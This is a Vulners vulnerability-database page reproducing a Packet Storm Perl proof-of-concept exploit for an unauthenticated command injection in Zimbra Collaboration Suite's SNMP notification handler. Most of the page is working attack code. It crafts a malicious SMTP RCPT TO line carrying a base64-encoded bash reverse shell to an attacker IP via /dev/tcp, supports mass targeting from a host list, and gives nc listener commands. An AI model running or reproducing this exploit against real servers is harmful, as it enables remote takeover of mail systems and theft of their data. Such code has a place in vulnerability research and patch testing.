Lucene search
+L

Zimbra Collaboration Suite 10.1.19 SMTP Command Injection

🗓️ 27 Aug 2026 00:00:00Reported by Gabriel P. LipskiType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 9 Views

Unauthenticated RCE in Zimbra 10.1.19 via SMTP command injection through swatchdog SNMP handler.

Related
Code
#!/usr/bin/perl
    ##############################################################################
    # CVE-2026-73570 — Zimbra Collaboration Suite (ZCS)
    # SNMP Notification OS Command Injection — Unauthenticated RCE via SMTP
    # zimbra-poc.pl exploit by Gabriel P. Lipski
    #
    # Affected   : ZCS < 10.1.20 (zimbra-snmp pkg installed + snmp_notify enabled)
    # CVSS 3.1   : 8.9 HIGH  —  AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L
    # CWE        : CWE-78 (Improper Neutralisation of OS Command Special Elements)
    # Fixed      : Zimbra 10.1.20 (released July 2026)
    # CISA KEV   : Added 2026-08-21  (remediation deadline 2026-08-24 for FCEB)
    #
    # Root Cause
    # ──────────
    # The optional zimbra-snmp package ships a swatchdog configuration that
    # watches /var/log/zimbra.log for log lines matching the pattern:
    #
    #   Service status change: <NAME> changed from (stopped|running) to (running|stopped)
    #
    # When a matching line is seen, swatchdog passes the captured <NAME> field
    # directly to the SNMP notification shell script without sanitisation.
    # An unauthenticated attacker can inject a fake log line via a crafted
    # SMTP RCPT TO command using a quoted local-part (valid per RFC 5321),
    # embedding shell metacharacters — e.g. $(...) — inside <NAME>.
    #
    # Attack Flow
    # ───────────
    # 1. Attacker opens TCP to port 25 / 465 / 587 of the Zimbra server.
    # 2. Sends EHLO, MAIL FROM, then a specially crafted RCPT TO:
    #    RCPT TO:<"x: Service status change: localhost $(CMD) changed from
    #             stopped to running"@cve.invalid>
    # 3. Zimbra logs the (rejected or accepted) RCPT TO data.
    # 4. swatchdog matches the log line pattern.
    # 5. SNMP notification handler executes CMD as the 'zimbra' OS user.
    #
    # References
    # ──────────
    # https://nvd.nist.gov/vuln/detail/CVE-2026-73570
    # https://github.com/BiuTrap/CVE-2026-73570
    # https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories
    # https://moje.cert.pl/komunikaty/2026/145/aktywnie-wykorzystywana-podatnosc-w-zimbra-collaboration-suite
    # https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-73570
    #
    # Usage:
    #   perl zimbra-poc.pl -H mail.target.com  -r 10.10.10.1 -R 4444
    #   perl zimbra-poc.pl -f targets.txt      -r 10.10.10.1 -R 4444
    #
    # targets.txt format:
    #   mail.example.com         <- default port (--port)
    #   mail.example.com:25      <- explicit port
    #   10.0.0.50:587
    #
    # Listener: nc -lvnp 4444
    #
    ##############################################################################
    use strict;
    use warnings;
    use IO::Socket::INET;
    use IO::Socket::SSL  qw(SSL_VERIFY_NONE);
    use MIME::Base64     qw(encode_base64 decode_base64);
    use Digest::HMAC_MD5 qw(hmac_md5_hex);
    use POSIX            qw(strftime);
    use Fcntl            qw(:flock);
    use Getopt::Long     qw(:config no_ignore_case bundling);
    
    our $VERSION = '1.0.0';
    
    # ── ANSI colors (disabled when stdout is not a TTY) ──────────────────────────
    my %C;
    {
        my $tty = -t STDOUT;
        %C = (
            rst  => $tty ? "\033[0m"  : '',
            bold => $tty ? "\033[1m"  : '',
            red  => $tty ? "\033[91m" : '',
            grn  => $tty ? "\033[92m" : '',
            ylw  => $tty ? "\033[93m" : '',
            blu  => $tty ? "\033[94m" : '',
            mag  => $tty ? "\033[95m" : '',
            cyn  => $tty ? "\033[96m" : '',
            wht  => $tty ? "\033[37m" : '',
        );
    }
    
    # ── globals ───────────────────────────────────────────────────────────────────
    my ($sock, $log_fh, $tls_active);
    
    # ── options ───────────────────────────────────────────────────────────────────
    my %O = (
        host    => '',
        port    => 587,
        file    => '',
        rhost   => '',
        rport   => 4444,
        timeout => 15,
        ssl     => 0,
        verbose => 0,
        logfile => '',
    );
    
    GetOptions(
        'host|H=s'    => \$O{host},
        'port|p=i'    => \$O{port},
        'file|f=s'    => \$O{file},
        'rhost|r=s'   => \$O{rhost},
        'rport|R=i'   => \$O{rport},
        'timeout|t=i' => \$O{timeout},
        'ssl|S'       => \$O{ssl},
        'verbose|v'   => \$O{verbose},
        'logfile|L=s' => \$O{logfile},
        'help|h'      => \&usage,
    ) or usage();
    
    usage() unless ($O{host} || $O{file}) && $O{rhost};
    
    # ── build target list ─────────────────────────────────────────────────────────
    my @targets;
    
    if ($O{host}) {
        push @targets, { host => $O{host}, port => $O{port} };
    }
    
    if ($O{file}) {
        open(my $fh, '<', $O{file}) or die "[-] Cannot open '$O{file}': $!\n";
        while (my $line = <$fh>) {
            chomp $line;
            $line =~ s/^\s+|\s+$//g;
            next if $line eq '' || $line =~ /^#/;
            my ($h, $p) = split(/:/, $line, 2);
            $p = $O{port} unless defined $p && $p =~ /^\d+$/;
            push @targets, { host => $h, port => int($p) };
        }
        close $fh;
        die "[-] No valid targets in '$O{file}'\n" unless @targets;
    }
    
    # ── payload (built once, reused for every target) ─────────────────────────────
    my $shell_cmd = "bash -c 'bash -i >&/dev/tcp/$O{rhost}/$O{rport} 0>&1'";
    my $b64       = encode_base64($shell_cmd, '');
    $b64 =~ s/\s+//g;
    my $cmd    = "echo ${b64}|base64 -d|bash";
    my $inject = "\$(${cmd})";
    my $rcpt   = qq{"x: Service status change: localhost ${inject} changed from stopped to running"\@cve.invalid};
    
    # ── banner ────────────────────────────────────────────────────────────────────
    open_log() if $O{logfile};
    print_banner();
    say_info(sprintf "Targets : %d host(s)", scalar @targets);
    say_info("Shell   : $O{rhost}:$O{rport}");
    say_info("Listener: nc -lvnp $O{rport}");
    print "\n";
    
    # ── target loop ───────────────────────────────────────────────────────────────
    my ($ok, $fail) = (0, 0);
    
    for my $i (0 .. $#targets) {
        my $t = $targets[$i];
        say_info("─" x 50);
        say_info(sprintf "[%d/%d] %s:%d", $i+1, scalar @targets, $t->{host}, $t->{port});
    
        my $result = run_exploit($t->{host}, $t->{port});
    
        if ($result eq 'ok') {
            say_ok("PAYLOAD SENT — waiting for shell on nc -lvnp $O{rport}");
            $ok++;
        } else {
            say_err("FAILED: $result");
            $fail++;
        }
    
        sleep 1 unless $i == $#targets;
    }
    
    # ── summary ───────────────────────────────────────────────────────────────────
    print "\n";
    say_info("═" x 50);
    say_info(sprintf "Summary: %d/%d hit  %d failed", $ok, scalar @targets, $fail);
    say_info("═" x 50);
    
    close_log() if $log_fh;
    exit 0;
    
    # ═════════════════════════════════════════════════════════════════════════════
    # run_exploit — attempts the injection against a single target
    # ═════════════════════════════════════════════════════════════════════════════
    sub run_exploit {
        my ($host, $port) = @_;
        my $use_ssl = $O{ssl} || ($port == 465);
    
        # ── connect ───────────────────────────────────────────────────────────────
        eval {
            if ($use_ssl) {
                $sock = IO::Socket::SSL->new(
                    PeerHost        => $host,
                    PeerPort        => $port,
                    SSL_verify_mode => SSL_VERIFY_NONE,
                    Timeout         => $O{timeout},
                    Proto           => 'tcp',
                ) or die "SSL: " . IO::Socket::SSL::errstr();
                $tls_active = 1;
            } else {
                $sock = IO::Socket::INET->new(
                    PeerHost => $host,
                    PeerPort => $port,
                    Timeout  => $O{timeout},
                    Proto    => 'tcp',
                ) or die "TCP: $!";
                $tls_active = 0;
            }
        };
        if ($@) { (my $e = $@) =~ s/\s+$//; return $e }
    
        $sock->autoflush(1);
        say_dbg("Connected");
    
        # ── banner ────────────────────────────────────────────────────────────────
        my $banner = smtp_read_line();
        unless ($banner =~ /^220/) {
            close_sock();
            return "unexpected banner: $banner";
        }
        say_dbg("Banner: $banner");
    
        # ── EHLO ─────────────────────────────────────────────────────────────────
        smtp_send("EHLO mx-test.invalid");
        my $ehlo = smtp_read_multi();
        unless ($ehlo =~ /^250/m) {
            close_sock();
            return "EHLO failed";
        }
    
        # ── STARTTLS ─────────────────────────────────────────────────────────────
        if (!$tls_active && $ehlo =~ /STARTTLS/i) {
            smtp_send("STARTTLS");
            my $r = smtp_read_line();
            if ($r =~ /^220/) {
                IO::Socket::SSL->start_SSL($sock, SSL_verify_mode => SSL_VERIFY_NONE)
                    or do { close_sock(); return "STARTTLS failed" };
                $tls_active = 1;
                say_dbg("STARTTLS negotiated");
                smtp_send("EHLO mx-test.invalid");
                smtp_read_multi();
            }
        }
    
        # ── injection ─────────────────────────────────────────────────────────────
        smtp_send("MAIL FROM:<scanner\@mx-test.invalid>");
        my $r1 = smtp_read_line();
        say_dbg("MAIL FROM: $r1");
        unless ($r1 =~ /^250/) {
            smtp_send("QUIT"); smtp_read_line(); close_sock();
            return "MAIL FROM rejected: $r1";
        }
    
        say_dbg("RCPT TO: <$rcpt>");
        smtp_send("RCPT TO:<$rcpt>");
        my $r2 = smtp_read_line();
        say_dbg("RCPT TO resp: $r2");
    
        smtp_send("QUIT");
        smtp_read_line();
        close_sock();
    
        return 'ok' if $r2 =~ /^[245]\d{2}/;
        return "no valid response: $r2";
    }
    
    # ── SMTP layer ────────────────────────────────────────────────────────────────
    sub smtp_send {
        my ($line) = @_;
        say_dbg(">>> $line");
        log_write(">>> $line");
        print $sock "$line\r\n";
    }
    
    sub smtp_read_line {
        my $line = '';
        eval {
            local $SIG{ALRM} = sub { die "timeout\n" };
            alarm($O{timeout});
            $line = <$sock> // '';
            alarm(0);
        };
        $line =~ s/[\r\n]+$//;
        say_dbg("<<< $line") if $line;
        log_write("<<< $line") if $line;
        return $line;
    }
    
    sub smtp_read_multi {
        my $buf = '';
        eval {
            local $SIG{ALRM} = sub { die "timeout\n" };
            alarm($O{timeout});
            while (my $line = <$sock>) {
                $buf .= $line;
                last if $line =~ /^\d{3} /;
            }
            alarm(0);
        };
        $buf =~ s/[\r\n]+$//;
        return $buf;
    }
    
    sub close_sock {
        return unless $sock;
        eval { $sock->close() };
        $sock = undef;
        $tls_active = 0;
    }
    
    # ── output ────────────────────────────────────────────────────────────────────
    sub print_banner {
        my ($b, $n, $c, $g, $y) = @C{qw(bold rst cyn grn ylw)};
        print "${b}${c}  ╔══════════════════════════════════════════════════════════╗${n}\n";
        print "${b}${c}  ║  CVE-2026-73570  —  Zimbra ZCS Unauthenticated RCE      ║${n}\n";
        print "${b}${c}  ║  SNMP Notification OS Command Injection — Reverse Shell  ║${n}\n";
        print "${b}${c}  ╠══════════════════════════════════════════════════════════╣${n}\n";
        print "${b}${c}  ║  ${g}CVSS 3.1: 8.9 HIGH${c}  ZCS < 10.1.20                       ║${n}\n";
        print "${b}${c}  ║  ${y}Authorized security testing use only${c}                    ║${n}\n";
        print "${b}${c}  ╚══════════════════════════════════════════════════════════╝${n}\n\n";
    }
    
    sub _ts { strftime("%H:%M:%S", localtime) }
    
    sub say_ok   { _say($C{bold}.$C{grn}."[+]".$C{rst}, @_) }
    sub say_info { _say($C{bold}.$C{blu}."[*]".$C{rst}, @_) }
    sub say_err  { _say($C{bold}.$C{red}."[-]".$C{rst}, @_) }
    sub say_dbg  { return unless $O{verbose}; _say($C{mag}."[~]".$C{rst}, @_) }
    
    sub _say {
        my ($prefix, $msg) = @_;
        printf "%s[%s]%s %s %s\n", $C{wht}, _ts(), $C{rst}, $prefix, $msg;
        log_write($msg);
    }
    
    sub log_write {
        my ($msg) = @_;
        return unless $log_fh;
        flock($log_fh, LOCK_EX);
        printf $log_fh "[%s] %s\n", strftime("%Y-%m-%d %H:%M:%S", localtime), $msg;
        flock($log_fh, LOCK_UN);
    }
    
    sub open_log {
        open($log_fh, '>>', $O{logfile}) or die "[-] Cannot open log '$O{logfile}': $!\n";
        $log_fh->autoflush(1);
    }
    
    sub close_log {
        close($log_fh) if $log_fh;
        $log_fh = undef;
    }
    
    # ── help ──────────────────────────────────────────────────────────────────────
    sub usage {
        print <<'END';
    
    Usage:
      perl zimbra-poc.pl -H <host>      -r <IP> [-R <port>] [options]
      perl zimbra-poc.pl -f <list.txt>  -r <IP> [-R <port>] [options]
    
    Options:
      -H, --host    <host>    Single target (hostname or IP)
      -f, --file    <file>    File with target list (one per line)
      -p, --port    <port>    Default SMTP port [default: 587]
      -r, --rhost   <IP>      Your IP to receive the reverse shell (required)
      -R, --rport   <port>    Listener port [default: 4444]
      -t, --timeout <sec>     Socket timeout [default: 15]
      -S, --ssl               Direct TLS (auto for port 465)
      -v, --verbose           Show full SMTP dialog
      -L, --logfile <file>    Save session to log file
      -h, --help              This help
    
    targets.txt format:
      mail.example.com           <- default port (--port)
      mail.example.com:25        <- explicit port
      10.0.0.50:587
      # comments are ignored
    
    Examples:
      perl zimbra-poc.pl -H mail.target.com -r 10.10.10.1 -R 4444 -v
      perl zimbra-poc.pl -f targets.txt     -r 10.10.10.1 -R 4444 -L scan.log
      nc -lvnp 4444
    
    END
        exit 0;
    }

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Aug 2026 00:00Current
8.5High risk
Vulners AI Score8.5
CVSS 3.18.9
EPSS0.20528
SSVC
9